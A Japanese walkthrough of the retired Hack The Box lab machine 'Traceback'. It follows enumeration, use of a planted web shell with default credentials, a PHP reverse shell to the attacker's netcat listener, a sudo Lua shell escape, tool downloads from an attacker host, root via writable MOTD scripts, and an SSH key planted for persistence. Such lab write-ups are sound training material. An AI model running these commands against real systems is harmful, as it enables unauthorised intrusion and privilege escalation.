本稿では、Hack The Boxにて提供されている Retired Machines の「Traceback」に関する攻略方法(Walkthrough)について検証します。
Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。
マシンの詳細
エグゼクティブサマリー
戦術(Tactic)
- 「TA0007: 探索(Discovery)」, 環境を把握するための手順を確認します。
- 「TA0003: 永続化(Persistence)」, 攻撃者は足場を持続させようとしようとしています。
- 「TA0004: 特権エスカレーション(Privilege Escalation)」, より高いレベルの権限取得を狙います。
戦法(Technique)
ID | テクニック | 説明 |
---|---|---|
T1046 | ネットワークサービススキャン(Network Service Scanning) | nmapによるポートスキャンの実行 |
T1083 | ファイルとディレクトリの検出 | ffufによる攻撃の足がかりになりそうなファイルやフォルダの探索 |
T1100 | サーバーソフトウェアコンポーネント: Webシェル | 「SmEvK_PaThAn Shell v3」を経由した「php-reverse-shell」の設置 |
T1548.003 | Sudo と Sudo Caching | 「Luvit」による「sysadmin」権限の維持 |
T1546 | イベントによってトリガーされる実行 | 「motd」による「root」権限による任意のコマンド実行 |
ツール
- nmap
- ffuf
- SmEvK_PaThAn Shell v3
- php-reverse-shell
- .bash_history
- sudo lua -e 'os.execute("/bin/sh")'
- python3 -c 'import pty; pty.spawn("/bin/bash")'
- GTFOBins
- LinPEAS
- pspy
- /etc/update-motd.d/
- ssh-keygen
詳細手順
ネットワークサービススキャン
nmap
IPアドレス 10.10.10.181
をtraceback.htb
として、/etc/hosts
に追加します。その上で、nmapを使用し、ポートスキャンを実行します。
kali@kali:~$ nmap -sC -sV -p- -T4 -oA nmap traceback.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-20 01:22 EDT
Warning: 10.10.10.181 giving up on port because retransmission cap hit (6).
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.17s latency).
Not shown: 65490 closed ports, 43 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 844.59 seconds
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
ポート番号 | サービス | バージョン |
---|---|---|
22/tcp | ssh | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
80/tcp | http | Apache httpd 2.4.29 ((Ubuntu)) |
HTTPサービスのスキャン
Firefox
ブラウザを使って80/tcp
にアクセスしてみます。
HTMLソースを確認したところ、web shell
が仕掛けられていることが判明しました。
<body>
<center>
<h1>This site has been owned</h1>
<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
<h3> - Xh4H - </h3>
<!--Some of the best web shells that you might need ;)-->
</center>
</body>
公開情報の調査
Xh4H
のアカウント名から次のTweetを見つけることができました。
Tweetから誘導されるGitHubリポジトリはこちら。
ファジング
Web ShellのGitHubリポジトリを取得し、ファイル名のリストをワードリストshell.list
として保存します。
kali@kali:~$ git clone https://github.com/Xh4H/Web-Shells.git
Cloning into 'Web-Shells'...
remote: Enumerating objects: 68, done.
remote: Total 68 (delta 0), reused 0 (delta 0), pack-reused 68
Unpacking objects: 100% (68/68), 1.85 MiB | 362.00 KiB/s, done.
kali@kali:~$ ls -1 Web-Shells/ > shell.list
kali@kali:~$ cat shell.list
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punkholic.php
punk-nopass.php
r57.php
README.md
smevk.php
wso2.8.5.php
攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。先ほど作成したワードリストshell.list
をffuf
コマンドにて使用します。
kali@kali:~$ ffuf -c -w shell.list -u http://traceback.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://traceback.htb/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
smevk.php [Status: 200, Size: 1261, Words: 318, Lines: 59]
:: Progress: [17/17] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:19] :: Errors: 0 ::
ffuf
コマンドにて特定されたsmevk.php
にアクセスします。「SmEvK_PaThAn Shell V3」というweb shellのログイン画面にアクセスすることができました。
http://traceback.htb/smevk.php
アクセス権の取得
「SmEvK_PaThAn Shell v3」のGitHubリポジトリを確認します。初期設定のアカウントはadmin:admin
です。
<?php
/*
SmEvK_PaThAn Shell v3 Coded by Kashif Khan .
https://www.facebook.com/smevkpathan
smevkpathan@gmail.com
Edit Shell according to your choice.
Domain read bypass.
Enjoy!
*/
//Make your setting here.
$deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT'; //deface url here(pastebin).
$UserName = "admin"; //Your UserName here.
$auth_pass = "admin"; //Your Password.
//Change Shell Theme here//
$color = "#8B008B"; //Fonts color modify here.
$Theme = '#8B008B'; //Change border-color accoriding to your choice.
$TabsColor = '#0E5061'; //Change tabs color here.
#-------------------------------------------------------------------------------
webshellの[Code Injector]メニューを選択します。pentestmonkey の php-reverse-shellを仕掛けます。
事前に
php-reverse-shell.php
ソースコードを編集し、$ip
の値を攻撃端末(Kali
)のIPアドレスに変更しておきます。
ここでは、[File Name & Type :]の値としてshell.php
を指定しています。
Kali
上でのリバースシェルの操作性を向上させるため、rlwrapをインストールします。これにより、readline対応を実現し、行編集機能を追加することができます。
kali@kali:~$ sudo apt-get install rlwrap
kali
上で、リバースシェルを待ち受けます。コマンド構文は次のとおりです。
kali@kali:~$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...
攻撃端末側のnc
がアクティブな状態で、次のURLに接続します。
http://traceback.htb/shell.php
URLが実行されると、セッションが開始されます。
kali@kali:~$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.45] from traceback.htb [10.10.10.181] 52400
Linux traceback 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
18:06:45 up 9:19, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
/bin/sh: 0: can't access tty; job control turned off
$
php-reverse-shell.php
の実行が成功した場合、webadmin
権限のシェルを確立させることができます。
$ whoami && id
webadmin
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
システム探索
webadmin
の/home/webadmin
ディレクトリにはuser.txt
フラグはありません。
$ cd /home/webadmin
$ ls -al
total 48
drwxr-x--- 5 webadmin sysadmin 4096 Jul 20 16:05 .
drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
-rw------- 1 webadmin webadmin 2149 Jul 20 16:56 .bash_history
-rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23 2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23 2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24 2019 .local
-rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Jul 20 15:07 .ssh
-rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 03:53 note.txt
-rw-rw-rw- 1 webadmin webadmin 22 Jul 20 16:05 privsec.lua
代わりに、note.txt
が配置されています。今後の権限昇格に役立ちそうな情報が記載されていることが確認出来ます。
webadmin@traceback:~$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
$
Luaスクリプトの練習をするためにツールを残しました。
どこにあるか、きっとご存知でしょう。
質問があれば私に連絡してください。
ツールの在処を探るべく、.bash_history
の履歴を確認します。
$ cd /home/webadmin
$ pwd
/home/webadmin
$ cat .bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
rm privesc.lua
logout
sudo -l
コマンドで確認したところ、webadmin
ユーザーは、パスワード無しでsysadmin
として/home/sysadmin/luvit
ツール(Luvit)を実行することができます。
webadmin@traceback:~$ sudo -l
Matching Defaults entries for webadmin on traceback:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on traceback:
(sysadmin) NOPASSWD: /home/sysadmin/luvit
ユーザーシェルの取得
「GTFOBins」は、ローカルのセキュリティ制限を回避するため利用できるバイナリのリストです。
このリストから「Lua - Sudo」の項目を参照します。
この情報を参考に、次のコマンド構文を試行してみます。
webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/sh")'
sh: turning off NDELAY mode
sysadmin
権限のシェルを確立させることができます。
whoami && id
sysadmin
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。
python3 -c 'import pty; pty.spawn("/bin/bash")'
sysadmin@traceback:/$
システム探索
sysadmin
の/home/sysadmin
ディレクトリの内容を確認します。
sysadmin@traceback:/$ cd
cd
sysadmin@traceback:~$ ls -al
ls -al
total 4336
drwxr-x--- 5 sysadmin sysadmin 4096 Mar 16 03:53 .
drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
-rw------- 1 sysadmin sysadmin 6 Aug 16 07:19 .bash_history
-rw-r--r-- 1 sysadmin sysadmin 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin 3771 Apr 4 2018 .bashrc
drwx------ 2 sysadmin sysadmin 4096 Aug 25 2019 .cache
drwxrwxr-x 3 sysadmin sysadmin 4096 Aug 24 2019 .local
-rw-r--r-- 1 sysadmin sysadmin 807 Apr 4 2018 .profile
drwxr-xr-x 2 root root 4096 Aug 25 2019 .ssh
-rwxrwxr-x 1 sysadmin sysadmin 4397566 Aug 24 2019 luvit
-rw------- 1 sysadmin sysadmin 33 Aug 16 06:15 user.txt
user.txt
フラグを取得します。
sysadmin@traceback:~$ cat user.txt
cat user.txt
9466{BLOCKED}6c00
特権昇格
システム探索
「LinPEAS - Linux Privilege Escalation Awesome Script」ツールを使ってシステム探索を行います。
sysadmin@traceback:/home/webadmin$ cd /tmp
sysadmin@traceback:/tmp$ wget http://10.10.14.13:8081/linpeas.sh
sysadmin@traceback:/tmp$ chmod +x linpeas.sh
sysadmin@traceback:/tmp$ ./linpeas.sh
Modified interesting files in the last 5mins (limit 100)
項目として、/etc/update-motd.d/
が列挙されました。
[+] Modified interesting files in the last 5mins (limit 100)
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm
/home/sysadmin/.bash_history
また、Interesting GROUP writable files (not in Home) (max 500)
項目として、/etc/update-motd.d/
が列挙されました。
同様に、「pspy - unprivileged Linux process snooping」ツールを使ってシステム探索を行います。
sysadmin@traceback:/tmp$ wget http://10.10.14.13:8081/pspy64
sysadmin@traceback:/tmp$ chmod +x pspy64
sysadmin@traceback:/tmp$ ./pspy64
毎分ごとにcron
が/etc/update-motd.d/
の内容を復元(初期化、クリーンナップ)しています。
2020/08/16 21:29:01 CMD: UID=0 PID=41216 | sleep 30
2020/08/16 21:29:01 CMD: UID=0 PID=41215 | /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2020/08/16 21:29:01 CMD: UID=0 PID=41214 | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2020/08/16 21:29:01 CMD: UID=0 PID=41213 | /usr/sbin/CRON -f
2020/08/16 21:29:01 CMD: UID=0 PID=41212 | /usr/sbin/CRON -f
2020/08/16 21:29:31 CMD: UID=0 PID=41218 | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/
2
ps -aux
コマンドでも同様の傾向を確認することができます。
sysadmin@traceback:~$ ps -aux
ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
.
root 55185 0.0 0.0 4628 784 ? Ss 18:28 0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
.
MOTD (message of the day)
/etc/update-motd.d/
ディレクトリの内容について確認します。sysadmin
グループにて書き込むことが可能です。
sysadmin@traceback:~$ ls -la /etc/update-motd.d/
ls -la /etc/update-motd.d/
total 32
drwxr-xr-x 2 root sysadmin 4096 Aug 27 2019 .
drwxr-xr-x 80 root root 4096 Mar 16 03:55 ..
-rwxrwxr-x 1 root sysadmin 981 Aug 16 07:42 00-header
-rwxrwxr-x 1 root sysadmin 982 Aug 16 07:42 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 Aug 16 07:42 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 Aug 16 07:42 80-esm
-rwxrwxr-x 1 root sysadmin 299 Aug 16 07:42 91-release-upgrade
これらは、ユーザーがtraceback.htb
にログインするたびにroot
権限で実行し、メッセージを表示させることができるファイルです。
このうち00-header
を確認しました。次のシェルスクリプトとして構成されています。
sysadmin@traceback:~$ cat /etc/update-motd.d/00-header
cat /etc/update-motd.d/00-header
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
[ -r /etc/lsb-release ] && . /etc/lsb-release
echo "\nWelcome to Xh4H land \n"
そこで、echo "cat /root/root.txt"
コマンド構文を00-header
スクリプトの末尾に追加します。
これにより、root
権限にてcat
コマンドが実行されます。
sysadmin@traceback:~$ echo "cat /root/root.txt" >> /etc/update-motd.d/00-header
<cat /root/root.txt" >> /etc/update-motd.d/00-header
SSHキーの書き込み
kali
からSSH
で接続できるように、webadmin
ユーザーのauthorized_keys
ファイルを上書きします。
まず、kali
上でssh-keygen
を実行します。
kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
/home/kali/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:mmvM6lGPxIYSThZcLyDf3cUIhSqopVR35y7jA9/IRTY kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|..o.. .+.o. |
| o.= +.o.o. |
| .* +.+ + |
|.=o..+ E |
|ooo.. = S . |
|o . = B o |
| .oO B |
| .+B . |
| .oo. . |
+----[SHA256]-----+
kali
上で生成したid_rsa.pub
の内容を確認します。
kali@kali:~$ cat /home/kali/.ssh/id_rsa.pub
ssh-rsa AAAAB3N{BLOCKED}cSG5HUs= kali@kali
「SmEvK_PaThAn Shell v3」を使って、次のコマンド構文を実行します。
echo "ssh-rsa AAAAB3N{BLOCKED}cSG5HUs= kali@kali" >> /home/webadmin/.ssh/authorized_keys
SSH接続の確立
webadmin
アカウントでtraceback.htb
にSSH接続します。
00-header
スクリプトの内容は毎分ごとに、クリーンナップされます。このため、SSH接続を行う直前にecho "cat /root/root.txt" >> /etc/update-motd.d/00-header
コマンド構文を実行する必要があります。
00-header
スクリプトに書き込んだコマンド構文の効果により、root.txt
フラグの内容を確認することができます。
参考情報
類似マシン
- VulnHub 「Fowsniff: 1」
MOTD
Walkthrough
- IppSec 「HackTheBox - Traceback」, 2020/08/16
- Snowscan 「Traceback - Hack The Box」, 2020/08/15
- 0xdf hacks stuff 「HTB: Traceback」, 2020/08/15
その他
- Cybrary Whitepaper 「Guerrilla Red Team: Decentralize the Adversary」, Christopher Cottrell , 2020/8/3
- 「DEF CON 28:Red Team Village:敵対者を蹴散らすゲリラレッドチームの構築」